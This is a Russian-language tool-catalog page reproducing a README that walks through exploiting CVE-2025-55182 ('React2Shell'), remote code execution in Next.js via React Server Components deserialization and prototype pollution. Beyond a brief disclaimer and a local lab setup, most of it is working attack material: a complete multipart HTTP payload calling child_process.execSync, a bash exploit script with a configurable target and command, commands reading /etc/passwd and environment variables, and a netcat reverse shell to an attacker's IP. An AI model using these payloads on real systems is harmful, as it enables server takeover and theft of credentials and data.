Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
react2shell-exploit — CVE-2025-55182, также известный как React2Shell, это критическая уязвимость, затрагивающая приложения Next.js, использующие React Server Components (RSC) и Server Actions. | Kitploit
Инструменты/GitHubGitHub/yannisduvignau/react2shell-exploit
ЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, также известный как React2Shell, это критическая уязвимость, затрагивающая приложения Next.js, использующие React Server Components (RSC) и Server Actions.

Репозиторий
114 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 – React2Shell

Удаленное выполнение кода в Next.js

⚠️ Предупреждение: Данная документация предоставлена только для образовательных целей и исследований в области безопасности. Любое несанкционированное использование этих методов против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, противозаконно.


📋 Содержание

  1. Обзор
  2. Как это работает
  3. Установка и настройка
  4. Пошаговая эксплуатация
  5. Результаты и влияние
  6. Методы защиты

Обзор

CVE-2025-55182, также известная как React2Shell, — это критическая уязвимость, затрагивающая приложения Next.js, которые используют:

  • React Server Components (RSC)
  • Server Actions

Почему это опасно?

Атакующий может добиться удаленного выполнения кода (RCE) на сервере, эксплуатируя:

  1. Небезопасную десериализацию полезных нагрузок RSC
  2. Загрязнение прототипа через __proto__ и constructor
  3. Динамические пути выполнения в серверной среде выполнения Next.js

Следствие: Произвольные системные команды могут быть выполнены с привилегиями процесса Node.js.


Как это работает

Этап 1: Протокол RSC Next.js

Next.js использует собственный протокол multipart/form-data для связи между клиентом и сервером:

  • Клиент отправляет React Server Components на сервер
  • Сервер десериализует и обрабатывает их
  • Результат возвращается клиенту
Клиент (Браузер)
    ↓
[Полезная нагрузка RSC в multipart/form-data]
    ↓
Сервер Next.js
    ↓
Десериализация + Выполнение
    ↓
Ответ

Этап 2: Уязвимость — Небезопасная десериализация

Уязвимость существует потому, что:

  1. Данные, контролируемые пользователем, не проверяются перед десериализацией
  2. Доступ к цепочке прототипов разрешен (__proto__, constructor)
  3. Некоторые поля вычисляются динамически во время обработки запроса

Этап 3: Атака загрязнением прототипа

Атакующий может создать полезную нагрузку, которая изменяет внутренние свойства объектов:

{
  "then": "$1:__proto__:then",  // Нацеливается на цепочку прототипов
  "_response": {
    "_prefix": "вредоносный код здесь"  // Внедрение кода
  }
}

Используя __proto__, атакующий загрязняет прототип объектов JavaScript, затрагивая все объекты, которые наследуют от него.

Этап 4: Внедрение кода

Внутри поля _prefix атакующий внедряет код JavaScript, который:

  1. Получает доступ к модулю Node.js через process.mainModule.require()
  2. Загружает модуль child_process
  3. Выполняет системные команды с помощью execSync()
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Этап 5: Извлечение результата

Результат команды скрывается в ответе об ошибке:

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js возвращает эту ошибку клиенту, и вывод команды виден в поле digest.


Установка и настройка

Предварительные требования

  • Node.js 20
  • Burp Suite (или аналогичный инструмент для перехвата запросов)
  • curl или Postman (для отправки полезных нагрузок)

Шаг 1: Клонирование и установка уязвимого сервера

# Клонирование PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Установка Node.js 20
nvm install 20
nvm use 20

# Установка зависимостей
cd test-server
npm install

Шаг 2: Запуск сервера

npm run dev

Теперь сервер доступен по адресу:

http://localhost:3000

Шаг 3: Проверка работы сервера

curl http://localhost:3000/

На этом этапе сервер ведет себя нормально.


Пошаговая эксплуатация

Способ 1: Использование Burp Suite (ручной перехват)

Шаг 1: Включение перехвата

  1. Откройте Burp Suite
  2. Перейдите на вкладку Proxy → Intercept
  3. Включите Intercept is on
  4. Откройте в браузере http://localhost:3000/

Шаг 2: Перехват запроса

Будет перехвачен GET-запрос. Отправьте его на вкладку Repeater:

  1. Правый клик → Send to Repeater
  2. Перейдите на вкладку Repeater

Шаг 3: Замена на вредоносную полезную нагрузку

Замените весь запрос следующей полезной нагрузкой:

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Шаг 4: Отправка запроса

Нажмите Send


Способ 2: Автоматизированный скрипт эксплуатации

Создайте файл exploit.sh:

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Формирование полезной нагрузки
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Замена команды
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Отправка запроса
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Сделайте его исполняемым:

chmod +x exploit.sh
./exploit.sh

Примеры команд

Список файлов и каталогов

COMMAND="ls -la /"

Получение текущего пользователя

COMMAND="whoami"

Чтение файла

COMMAND="cat /etc/passwd"

Проверка сетевых соединений

COMMAND="netstat -tuln"

Получение переменных окружения

COMMAND="env"

Обратный шелл (полный доступ к серверу)

Для получения полного интерактивного доступа к оболочке используйте обратный шелл.

На машине атакующего: ожидание соединений

ncat -lvnp 9009

Или с помощью netcat:

nc -lvnp 9009

На цели: отправка полезной нагрузки обратного шелла

Измените полезную нагрузку, подставив следующую команду (замените <ATTACKER_IP> на ваш IP-адрес):

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

Полная полезная нагрузка приобретает вид:

Скачать инструмент